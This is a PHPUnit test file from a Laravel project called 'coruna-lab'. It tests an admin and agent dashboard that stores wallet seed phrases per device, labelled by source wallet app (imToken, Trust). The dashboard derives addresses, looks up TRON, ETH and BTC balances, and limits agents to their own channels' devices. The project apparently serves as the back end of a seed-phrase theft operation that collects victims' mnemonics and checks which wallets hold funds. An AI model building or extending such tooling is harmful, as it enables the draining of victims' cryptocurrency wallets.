Files
coruna-lab/tests/Feature/MnemonicWalletsTest.php
T
2026-08-24 06:23:07 +08:00

288 lines
12 KiB
PHP

<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class MnemonicWalletsTest extends TestCase
{
use RefreshDatabase;
private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic
{
$row = new WalletMnemonic([
'device_id' => $device->id,
'source' => $source,
]);
$row->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
$row->save();
return $row;
}
#[Test]
public function wallets_endpoint_returns_linked_address_balances(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-wallets']);
$mnemonic = $this->storeMnemonic($device);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
'chain_type' => 'TRON',
'source' => 'imToken',
'mnemonic_id' => $mnemonic->id,
'derive_index' => 0,
'usdt' => 12.5,
'trx' => 3.1,
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => '0x9858effd232b4033e47d90003d41ec34ecaeda94',
'chain_type' => 'ETH',
'source' => 'imToken',
'mnemonic_id' => $mnemonic->id,
'derive_index' => 0,
'eth' => 1.25,
]);
WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'unlinked-addr',
'chain_type' => 'BTC',
'source' => 'imToken',
'btc' => 9,
]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.wallets', $mnemonic))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.mnemonic_id', $mnemonic->id)
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
->assertJsonPath('data.addresses.0.usdt', '12.5')
->assertJsonPath('data.addresses.0.trx', '3.1')
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
->assertJsonPath('data.addresses.1.eth', '1.25')
->assertJsonCount(2, 'data.addresses');
}
#[Test]
public function wallets_endpoint_respects_agent_scope(): void
{
Http::fake();
$agent = User::query()->create(['username' => 'agent-w', 'password' => 'secret12', 'status' => 1]);
$chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
$chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agent->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $chB, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
$mine = Device::query()->create(['device_id' => 'dev-mine', 'channel_id' => $chA]);
$other = Device::query()->create(['device_id' => 'dev-other', 'channel_id' => $chB]);
$mnMine = $this->storeMnemonic($mine);
$mnOther = $this->storeMnemonic($other, 'Trust');
$this->actingAs($agent, 'agent')
->getJson(route('user.mnemonics.wallets', $mnMine))
->assertOk()
->assertJsonPath('code', 0);
$this->actingAs($agent, 'agent')
->getJson(route('user.mnemonics.wallets', $mnOther))
->assertForbidden();
}
#[Test]
public function mnemonic_list_includes_wallets_url(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-list']);
$mnemonic = $this->storeMnemonic($device);
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.data'))
->assertOk()
->assertJsonPath('data.0.id', $mnemonic->id)
->assertJsonPath('data.0.wallets_url', route('admin.mnemonics.wallets', $mnemonic))
->assertJsonPath('data.0.refresh_url', route('admin.mnemonics.wallets.refresh', $mnemonic));
}
#[Test]
public function refresh_updates_linked_balances_and_throttles(): void
{
Http::fake([
'*/v1/accounts/*' => Http::response([
'data' => [[
'balance' => 2_000_000,
'trc20' => [
['TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t' => '5000000'],
],
]],
'success' => true,
], 200),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-refresh']);
$mnemonic = $this->storeMnemonic($device);
$addr = WalletAddress::query()->create([
'device_id' => $device->id,
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
'chain_type' => 'TRON',
'source' => 'imToken',
'mnemonic_id' => $mnemonic->id,
'usdt' => 0,
'trx' => 0,
]);
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.refreshed', 1)
->assertJsonPath('data.addresses.0.trx', '2')
->assertJsonPath('data.addresses.0.usdt', '5');
$addr->refresh();
$this->assertEqualsWithDelta(2.0, (float) $addr->trx, 0.0000001);
$this->assertEqualsWithDelta(5.0, (float) $addr->usdt, 0.0000001);
$this->actingAs($admin, 'admin')
->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic))
->assertStatus(429)
->assertJsonPath('code', 1)
->assertJsonStructure(['data' => ['retry_after']]);
}
#[Test]
public function wallets_discovers_funded_index_zero_when_no_linked_addresses(): void
{
config([
'coruna.tron.full_node' => 'https://api.trongrid.io',
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.btc.api_url' => 'https://mempool.example/api',
]);
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, '/wallet/getaccount')) {
return Http::response(['balance' => 5_000_000], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => [dechex(0)]], 200);
}
if (str_contains($url, 'ethereum.example')) {
$body = $request->data();
$method = $body['method'] ?? '';
if ($method === 'eth_getBalance') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
if ($method === 'eth_call') {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
}
if (str_contains($url, 'mempool.example')) {
return Http::response([
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
], 200);
}
return Http::response([], 404);
});
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-discover']);
$mnemonic = $this->storeMnemonic($device);
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.wallets', $mnemonic))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
->assertJsonPath('data.addresses.0.trx', '5')
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
->assertJsonPath('data.addresses.1.chain_type', 'ETH')
->assertJsonPath('data.addresses.1.eth', '0')
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
->assertJsonPath('data.addresses.2.chain_type', 'BTC')
->assertJsonPath('data.addresses.2.btc', '0')
->assertJsonCount(3, 'data.addresses');
$this->assertDatabaseHas('wallet_addresses', [
'device_id' => $device->id,
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
'mnemonic_id' => $mnemonic->id,
'derive_index' => 0,
'chain_type' => 'TRON',
]);
$this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
}
#[Test]
public function wallets_persists_index_zero_even_when_balances_are_zero(): void
{
config([
'coruna.tron.full_node' => 'https://api.trongrid.io',
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
'coruna.eth.rpc_url' => 'https://ethereum.example',
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
'coruna.btc.api_url' => 'https://mempool.example/api',
]);
Http::fake(function ($request) {
$url = $request->url();
if (str_contains($url, '/wallet/getaccount')) {
return Http::response(['balance' => 0], 200);
}
if (str_contains($url, '/wallet/triggerconstantcontract')) {
return Http::response(['constant_result' => ['0']], 200);
}
if (str_contains($url, 'ethereum.example')) {
return Http::response(['jsonrpc' => '2.0', 'id' => 1, 'result' => '0x0'], 200);
}
if (str_contains($url, 'mempool.example')) {
return Http::response([
'chain_stats' => ['funded_txo_sum' => 0, 'spent_txo_sum' => 0],
], 200);
}
return Http::response([], 404);
});
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create(['device_id' => 'dev-mn-empty']);
$mnemonic = $this->storeMnemonic($device);
$this->actingAs($admin, 'admin')
->getJson(route('admin.mnemonics.wallets', $mnemonic))
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
->assertJsonPath('data.addresses.0.trx', '0')
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
->assertJsonPath('data.addresses.1.chain_type', 'ETH')
->assertJsonPath('data.addresses.1.eth', '0')
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
->assertJsonPath('data.addresses.2.chain_type', 'BTC')
->assertJsonPath('data.addresses.2.btc', '0')
->assertJsonCount(3, 'data.addresses');
$this->assertSame(3, WalletAddress::query()->where('device_id', $device->id)->count());
$this->assertSame(3, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
}
}